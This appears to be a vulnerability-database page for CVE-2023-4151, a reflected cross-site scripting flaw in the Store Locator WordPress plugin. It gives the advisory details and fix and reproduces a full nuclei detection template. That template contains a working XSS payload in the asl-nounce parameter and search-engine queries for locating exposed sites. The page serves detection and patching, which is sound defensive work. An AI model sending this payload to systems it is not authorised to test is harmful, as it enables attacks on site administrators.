HexBrain

Browse / CVEs / CVE-2023-4151

CVE-2023-4151· agilelogix / store locator· CWE-79

Store Locator WordPress < 1.4.13 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.7%likelihood of exploitation, next 30 days
53%of all CVEs are less likely
Readycheck to confirm it

The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.

Fix

Update the plugin to Latest version. Fixed in 1.4.13.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/agile-store-locator"
Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=asl_ajax_handler&asl-nounce=<img src onerror=alert`document.domain`>
Positive when: contains in body_2 "<img src onerror=alert`document.domain`>" AND contains in content_type_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-4151 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-4151

info:
  name: Store Locator WordPress < 1.4.13 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 1.4.13.
  reference:
    - https://wpscan.com/vulnerability/c9d80aa4-a26d-4b3f-b7bf-9d2fb0560d7b/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4151
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4151
    cwe-id: CWE-79
    epss-score: 0.00688
    epss-percentile: 0.53039
    cpe: cpe:2.3:a:agilelogix:store_locator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: agilelogix
    product: store_locator
    framework: wordpress
    fofa-query: body="/wp-content/plugins/agile-store-locator"
    publicwww-query: /wp-content/plugins/agile-store-locator/
    shodan-query: http.html:"/wp-content/plugins/agile-store-locator/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,agile-store-locator,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/agile-store-locator"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin-ajax.php?action=asl_ajax_handler&asl-nounce=<img src onerror=alert`document.domain`> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<img src onerror=alert`document.domain`>'

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from